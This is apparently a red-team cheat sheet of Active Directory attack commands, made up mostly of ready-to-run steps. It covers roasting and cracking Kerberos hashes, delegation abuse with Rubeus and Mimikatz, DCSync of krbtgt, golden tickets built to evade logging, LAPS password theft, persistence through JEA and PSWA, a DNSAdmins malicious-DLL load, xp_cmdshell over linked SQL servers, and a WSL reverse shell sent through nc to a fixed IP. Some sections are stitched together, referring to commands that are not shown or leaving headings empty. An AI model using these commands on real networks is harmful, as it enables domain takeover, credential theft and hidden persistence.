# Checking current groups ACL rights:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
# Disabling kerberos pre-auth for a user:
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose
ASREPRoast
# Get the hashes of all
Rubeus.exe asreproast /format:hashcat /nowrap [/user:USER] [/outfile:FILEPATH]
# Crack with hashcat
hashcat asreproast.txt -m 18200 /usr/share/wordlists/rockyou.txt --force
# Use ASREPRoast:
Get-ASREPHash -UserName VPN1user -Verbose
# Do all automatically:
Invoke-ASREPRoast -Verbose
# Crack using John
./john vpn1user.txt --wordlist=wordlist.txt
SetSPN - Targeted Kerberoasting
Enumeration
# Viewing our ACL permissions:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
# Check if user has SPN:
Get-DomainUser -Identity supportuser | select serviceprincipalname
# Check if user has SPN already:
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
Setting SPN (must be unique for domain)
Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whatever1'}
## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname
Compromise server then wait, or use printer bug with Rubeus Listening
# Printer bug https://github.com/leechristensen/SpoolSample
# Listen with Rubeus
.\Rubeus.exe monitor /interval:5
# Use printer bug
.\SpoolSample_v4.5_x64..exe TARGET CAPTURE
# Use ticket
Rubeus.exe ptt /ticket:<base64ticket>
Export tickets and steal DA
# Look at tickets on system (run as system to see all)
Rubeus.exe triage
# Get ticket
Rubeus.exe dump /luid:TICKETLUID /nowrap
# Use ticket
Rubeus.exe ptt [/ticket:BASE64TICKET] [/luid:LUID]
# Which User/Comp
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
# What can the found users/comps do
Get-DomainUser USER -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto
Get-DomainComputer COMP -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto
Need NTLM hash or clear creds for the user with constrained delegation
===DCSYNC===
# On comp with contrained delegation rights for time\dcorp-dc.
# hash is of the machine account
Rubeus.exe s4u /user:COMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:"time/DC.DOMAIN.LOCAL" /altservice:LDAP,cifs /ptt
#DCsync
dcsync DOMAIN DOMAIN\krbtgt
===FILESHARE===
# On user with constrained delegation rights for CIFS\COMP
# Hash is of the user with delegation rights
Rubeus.exe s4u /user:USER /rc4:HASH /impersonateuser:Administrator /msdsspn:"CIFS/COMP" /ptt
# Check Access
ls \\COMP\c$\
===DCSYNC===
## Request TGT with Kekeo
tgt::ask /user:COMP$ /domain:DOMAIN /rc4:HASH
## Request TGS with Kekeo
tgs::s4u /tgt:TGT.kirbi /user:Administrator@DOMAIN /service:time/DC.DOMAIN.local|ldap/DC.DOMAIN.local
## Extract Ticket
Invoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'
## DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\krbtgt"'
===FILE SHARE===
## Request TGT with Kekeo
kekeo# tgt::ask /user:USER /domain:DOMAIN /rc4:HASH
## Next request TGS with kekeo (note cifs service id on end)
tgs::s4u /tgt:TGT_.kirbi /user:Administrator@DOMAIN /service:cifs/COMP-FQDN
## Inject ticket with mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'
## Check it worked
ls \\COMP-FQDN\c$
Resource Based Constrained Delegation
Enumeration
# ACL can be found with BH or invoke-acl scanner / get-acl etc.
# Need to control a machine with SPN or ability to add a domain machine (normal user)
# Also need write permissoion on a computer object
# Import AD Module
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
# Set RBCD on Target
Set-ADComputer <targethostname> -PrincipalsAllowedToDelegateToAccount <AttackCompObj>$ -Verbose
Control Target
# Create hash of plaintext password if creating a new machine
.\Rubeus.exe hash /password:<computerobjpassowrd>
# Request TGS
.\Rubeus.exe s4u /user:AttackCompObj$ /rc4:HASH /msdsspn:http/<target> /impersonateuser:Administrator /ptt
# HTTP allows psremote
Enter-pssession -computername <target>
LAPS Abuse
Enumeration
# Easiest done with the LAPS powershell module
# Get OU with powerview
Get-NetOU
# Import module
Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1
# Find the OUs that can read LAPS passwords
Find-AdmPwdExtendedRights -Identity <OU>
# Basic but reliable
Get-NetOU -FullData
# Script to get in nice format (unreliable)
Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | ForEach-Object { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID; $_ }
Abuse
# Once we have compromised a user that sits within an OU that can read LAPS
Get-AdmPwdPassword -ComputerName <targetmachine>
# After gaining password you can log in to machine as <targetmachine>\Administrator
# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.
# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.
# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.
# Once we have compromised user with privs:
Get-ADObject -SamAccountName <targetmachine$> | select ExpandProperty ms-mcs-admpwd
# Once we have compromised user with privs:
Get-ADComputer -Identity <targetmachine> -Properties msmcs-admpwd | select -ExpandProperty ms-mcs-admpwd
Just Enough Administration (JEA) Abuse
JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.
Enumeration
AD descriptions. So far havent seen any official way to scan for them.
# Role Capability file (Visible cmdlets etc)
New-PSRoleCapabilityFile -Path .\JEA.psrc
# Session configuration files (user mappings and role definitions)
New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA.pssc
Register-PSSessionConfiguration -Path .\JEA.pssc -Name 'Persist' -Force
# If you can find .pssc or .psrc files then they can help breakout.
Abuse
# Connect to JEA endpoint
Enter-PSSession -ComputerName <target> -ConfigurationName <config name>
# Enum commands available, look them up in docs to see what is possible
Get-Command
# Some dangerous cmdlets
start-process
add-computer
new-iissite
set-pssessionconfiguration (set-pssessionconfiguration -Name <profilename> -SecurityDescriptorSDDL <SDDL>)(https://gist.github.com/jborean93/6d9aaf868d1d40344188984ebb431b04)
PowerShell Web Access (PSWA) Abuse
Enumeration
# PSWA can be used to get a powershell session on port 443.
# Default path
https://hostname/pswa
# Requires admin creds, available cmdlets can be restricted
Get-Command
Abuse
# Depends on config, but look for sensitive commands and binaries.
Net.exe
Reg.exe
Invoke-Command
Start-Process
# If a breakout is needed refer to JEA as well.
Configure for Persistance
# Install
Install-WindowsFeature -Name WindowsPowerShellWebAccess
# Configure
Install-PswaWebApplication -useTestCertificate
# Configure Rules (Wildcard * can be used for all values allowing all users / cmds)
Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name>
Windows Subsystem Linux (WSL) Abuse
Enumeration
# Find linux distro on windows host, should see binaries and filesystem
# Can access files like on linux /etc/shadow etc.
# Worth looking for keytab files. These allow linux to talk kerberos and can be cracked. https://github.com/sosdave/KeyTabExtract
python3 keytabextract.py /root/ADShare/wslhost.keytab
Abuse
# Run windows binaries with bash
bash.exe -c cmd.exe
# Run windows binaries with wsl
wsl.exe cmd.exe
# These run with permissions of WSL process, as current windows user.
# Reverse Shell
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 192.168.100.1 443 1>/tmp/backpipe
# Can be useful for stealth since its harder to detect malicious activity on WSL. ELF persistance would be very good.
Windows Device Guard Bypass
Enumeration
# With device guard you will be in a shell with no language mode and app whitelisting.
# List policies
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Bypass
# Known also as CLM bypasses, there are several online.
# Typically windows signed binaries allowed, worth trying:
Procdump.exe
Psexec.exe
Reg.exe
# CLM Bypasses:
DNSAdmins
Enumeration
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
Abuse
Compromise DNSAdmin user is necessary to perform abuse
# Configure DLL using dnscmd.exe:
dnscmd DC /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
# Configure DLL using DNSServer module:
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc Verbose -All
$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC -Verbose
# Restart DNS Service
sc \\DC stop dns
sc \\DC start dns
# By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log
Microsoft Exchange Abuse
Enumeration
# Exchange groups have high permissions.
Look for groups such as:
Organization Management (Full control over exchange windows permissions group)
Exchange Windows Permissions (WriteDACL on domain object pre server 2019)
Exchange Trusted SubSystem (can modify DACL of DNSAdmins and others, local admin to exchange servers)
Abuse
# Own user in groups above or own exchange server
# PTH as user or exchange server
# Import ADModule and RACE
Import-Module .\ADModulemaster\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1
. .\RACE.ps1
# Give user access to DC
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'DC=techcorp,DC=local' -Server techcorp.local -Verbose
# Give DCSync
Set-ADACL -SamAccountName DOMAIN\USER DistinguishedName 'DC=techcorp,DC=local' -GUIDRight DCSync -Server techcorp.local -Verbose
# (As DA)Giving user WriteDACL over windows exhchange group for persistance
Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -SAMAccountName DOMAIN\USER -Verbose
# (As user now added) Use that priv to modify acl of windows permissions and give write member
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -GUIDRight WriteMember -Server techcorp.local -Verbose
In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.
Use Ticket
# PTT
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
# Access
ls \\DC.DOMAIN.local\c$
gwmi -class win32_operatingsystem -ComputerName dc.DOMAIN.local
Avoiding suspicious logs
Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:DOMAIN.local /sid:S-1-5-211874506631-3219952063-538504511 /groups:516 /sids:S-1-521-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:HASH /ptt"'
# S-1-5-21-2578538781-2508153159-3419410681-516 – Domain Controllers
# S-1-5-9 – Enterprise Domain Controllers
# Looks like DCs talking between each other and still grants us a ticket for the enterprise DCs.
# Use TGS to access service
.\kirbikator.exe lsa .\CIFS.TARGET-dc.DOMAIN.local.kirbi
# Found file share:
Invoke-ShareFinder -Domain DOMAIN.local
# Check Access
ls \\TARGET-dc.DOMAIN.local\SharedwithDCorp\
# Look for links to remote servers
Get-SQLServerLink -Instance instance-mssql -Verbose
# Enumerating nested database links
Get-SQLServerLinkCrawl -Instance instance-mssql -Verbose
# look for links to remote servers
select * from openquery("INSTANCE",'select * from master..sysservers')
# Enumerating nested database links
select * from openquery("INSTANCE",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
Enabling xp_cmdshell if rpcout is enabled (disabled by default)
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
# Executes command over nested links
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
PAM Trust
PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.
Enumeration
# Import ADModule
# Detect if current forest is PAM trust
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
# Enumerate Shadow Principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
# Enumerate if current forest is managed by a bastion forest
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External = PAM
Abuse
# Find users with shadow principals and names of shadow principal objects
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
# Add a compromised user to the group
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbsec,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=gcbsec,DC=local"}
# Once compromised you can manage forests with EA permissions.